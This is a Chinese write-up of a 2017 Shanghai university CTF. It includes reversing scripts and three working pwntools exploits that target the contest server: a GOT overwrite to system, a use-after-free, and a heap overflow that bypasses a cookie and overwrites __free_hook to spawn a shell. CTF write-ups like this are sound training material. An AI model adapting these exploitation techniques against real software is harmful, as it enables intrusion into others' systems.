2017上海大学生网络安全大赛 部分writeup

这周末抽空打了一下这个比赛,感觉题目整体偏简单,可能是只是初赛的原因吧。

感觉带了两个高贵的web爷爷,除了web什么都不做,导致最后re,pwn,misc都是我一个人做的,表示很心累。

随手记录一下吧,反正都不难。

re1

nspack,北斗的壳,岁数可能和我差不多?

直接esp定律脱掉。

ida载入发现是简单的异或加密。

1
2
3
4
5
6
7
8
9
10
11
key = 'this_is_not_flag'
enc=[0x12,0x04,0x08,0x14,0x24,0x5C,0x4A,0x3D,0x56,0x0A,0x10,0x67,0x00,0x41,0x00,0x01,0x46,0x5A,0x44,0x42,0x6E,0x0C,0x44,0x72,0x0C,0x0D,0x40,0x3E,0x4B,0x5F,0x02,0x01,0x4C,0x5E,0x5B,0x17,0x6E,0x0C,0x16,0x68,0x5B,0x12 ]

key = map(ord,list(key))

out=[]

for i in range(len(enc)):
out.append(enc[i]^key[i%len(key)])

print ''.join(map(chr,out))

re2

ida看了一会,感觉逻辑有点乱,随意尝试了几组加密,发现加密基本可以说是逐位的。那么考虑爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os

enc = 'FFIF@@IqqIH@sGBBsBHFAHH@FFIuB@tvrrHHrFuBD@qqqHH@GFtuB@EIqrHHCDuBsBqurHH@EuGuB@trqrHHCDuBsBruvHH@FFIF@@AHqrHHEEFBsBGtvHH@FBHuB@trqrHHADFBD@rquHH@FurF@@IqqrHHvGuBD@tCDHH@EuGuB@tvrrHHCDuBD@tCDHH@FuruB@tvrIH@@DBBsBGtvHH@GquuB@EIqrHHvGuBsBtGEHH@EuGuB@tvrIH@BDqBsBIFEHH@GFtF@@IqqrHHEEFBD@srBHH@GBsuB@trqrHHIFFBD@rquHH@FFIuB@tvrrHHtCDB@@'
#flag{juck_code_cannot_stop_you_reversing}
out=''
enc_flag=''

while 1:
for j in '0a{':
for c in range(30,128):
fd=open('flag','w')
print (out+chr(c)).ljust(len(out)+1+(3-(len(out)+1)%3),j)
fd.write((out+chr(c)).ljust(len(out)+1+(3-(len(out)+1)%3),j))
fd.close()

r = os.popen('juckcode.exe')
enc_flag = r.read()[:-1]
#print enc_flag
if enc_flag[:8*len(out)+8] == enc[:8*len(out)+8]:
print chr(c),
out+=chr(c)
break

pwn1

一开始看这个架势以为是堆的题,后来发现连free都没有。。。。

chunk_num可以无限递减。

edit和show基本没有限制,一个任意地址读,一个任意写,只要地址在chunk_list前即可。

考虑在前面找一个到got表的指针即可。

直接劫持程序流即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding=utf8
from pwn import *
#context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

local = 1

if local:
cn = remote('127.0.0.1',2222)
bin = ELF('./list')
libc = ELF('libc_local.so')
else:
cn = remote('106.75.8.58', 13579)
bin = ELF('./list')
libc = ELF('remote_libc.so')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(con):
cn.sendline('1')
cn.recvuntil('content')
cn.send(con)

def show():
cn.sendline('2')

def edit(con):
cn.sendline('3')
cn.sendline(con)

def dele():
cn.sendline('4')


cn.recvuntil('choise')

for i in range(263007):
cn.sendline('4')

success("send done")
show()

while 1:
data=cn.recv(4096)
if '\x7f' in data:
break
context.log_level = 'debug'
show()

data = cn.recvuntil('\n')[:-1]
success(data.encode('hex'))

atoi = u64(data+'\x00'*2)
system = atoi-libc.symbols['atoi']+libc.symbols['system']
success(hex(system))
cn.interactive()
edit(p64(system))

cn.interactive()

pwn2

没什么花样的UAF,网上自己找教程吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

local = 0

if local:
cn = process('./p200')
bin = ELF('./p200')
else:
cn = remote('106.75.8.58', 12333)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

cn.recvuntil('choose')
cn.sendline('3')
cn.recvuntil('choose')
cn.sendline('2')
cn.recvuntil('length')
cn.sendline('48')
sleep(0.2)
cn.sendline(p64(0x0602D50)*6)

cn.recvuntil('choose')
cn.sendline('2')
cn.recvuntil('length')
cn.sendline('48')
sleep(0.2)
cn.sendline(p64(0x0602D50)*6)



cn.interactive()

pwn3

一开始,出题人先在heap上挖了很多空,如果直接堆构造肯定会落在洞里。

所以考虑在构造之前先malloc一堆,把洞填了就行了。

在edit函数中有两个非常大方的堆溢出

但是程序在每一个堆块的后面放了一个随机的rand_num做cookie,然后在edit和show的时候做检查。

看似能防止堆溢出其实不然。

因为它检查的逻辑是如果要操作的结构体的cookie有问题则退出。

所以我们先创建两个结构体,然后第一个结构体帮第二个结构体做修改,然后操作第二个结构体。

结构体上有一个指针,通过溢出修改指针到bss段存储cookie的前面,就可以修改cookie或是读取cookie。(我选择修改

没了cookie,暴力堆溢出真的简单。

基本就是用结构体上的任意指针为所欲为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

local = 0

if local:
cn = process('./heap')
bin = ELF('./heap')
libc = ELF('./libc_local.so')
else:
cn = remote('106.75.8.58', 23238)
bin = ELF('./heap')
libc = ELF('./remote_libc.so')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(name,namelen,schname,schnamelen):
cn.sendline('1')
cn.recvuntil('name')
cn.sendline(str(namelen))
cn.recvuntil('name')
cn.sendline(name)
cn.recvuntil('name')
cn.sendline(str(schnamelen))
cn.recvuntil('name')
cn.sendline(schname)
cn.recvuntil('tutor')
cn.sendline('yes')

def remove(idx):
cn.sendline('2')
cn.recvuntil('delete')
cn.sendline(str(idx))

def chg_name(idx,length,s):
cn.sendline('3')
cn.recvuntil('edit')
cn.sendline(str(idx))
cn.recvuntil('member')
cn.sendline('1')
cn.recvuntil('name')
cn.sendline(str(length))
cn.recvuntil('name')
cn.sendline(s)

def chg_schname(idx,length,s):
cn.sendline('3')
cn.recvuntil('edit')
cn.sendline(str(idx))
cn.recvuntil('member')
cn.sendline('2')
cn.recvuntil('name')
cn.sendline(str(length))
cn.recvuntil('name')
cn.sendline(s)
def intro(idx):
cn.sendline('4')
cn.recvuntil('id')
cn.sendline(str(idx))
for i in range(100):
add('',7,'',47)

p_rand_num=0x60F040

add('aaa',7,'aaa',7)#100
add('bbb',7,'bbb',7)#101

pay = 'A'*7+'\x00'+p64(0)+p64(0)+p64(0x65)+p32(101)+p32(0)+p64(p_rand_num)+p32(0xffffffff)
chg_schname(100,200,pay)


pay = '\x00'*4
chg_name(101,200,pay)


add('ccc',7,'ccc',7)#102
add('ddd',7,'ddd',7)#103

pay = 'A'*7+'\x00'+p64(0)+p64(0)+p64(0x65)+p32(103)+p32(0)+p64(bin.got['malloc'])+p32(p_rand_num-bin.got['malloc']-1)
chg_schname(102,200,pay)

intro(103)
cn.recvuntil('My name is ')
malloc = u64(cn.recv()[:6]+'\x00'*2)
success('malloc: '+hex(malloc))
freehook = malloc-libc.symbols['malloc']+libc.symbols['__free_hook']
system = malloc-libc.symbols['malloc']+libc.symbols['system']
success('freehook: '+hex(freehook))
success('system: '+hex(system))

pay = 'A'*7+'\x00'+p64(0)+p64(0)+p64(0x65)+p32(103)+p32(0)+p64(freehook)+p32(8)
chg_schname(102,200,pay)

pay = p64(system)
chg_name(103,200,pay)


add('/bin/sh',10,'/bin/sh',10)
remove(104)
#z()
cn.interactive()

'''
00000000 chunk_struc struc ; (sizeof=0x38, mappedto_6)
00000000 idx dd ? ; base 10
00000004 field_4 dd ?
00000008 name dq ? ; offset
00000010 name_len dd ?
00000014 field_14 dd ?
00000018 intro_func dq ?
00000020 sch_name dq ? ; offset
00000028 sch_name_len dd ?
0000002C is_tutor dd ?
00000030 randnum dd ?
00000034 field_34 dd ?
00000038 chunk_struc ends
'''

misc 登机牌

png后面有一个rar先抠出来。

然后反色后扫描下面的pdf417条码。

得到压缩包的密码。

解压得到pdf,在末尾写着flag。

misc clemency

一开始逆了半天程序,后来脑洞一发,猜测flag.enc就是9bits编码的flag,没有加密。

果然

misc300

流量包

先是binwalk一发,能找到两个压缩包,一个伪加密,提示我们关注加密的数据包,一个是真加密,猜测里面就是flag了。

找到有key.log

wireshark导入SSL。

可以看到加密的数据包了。

dump下来一个music.zip

频域隐写,得到压缩包密码。

解压得flag。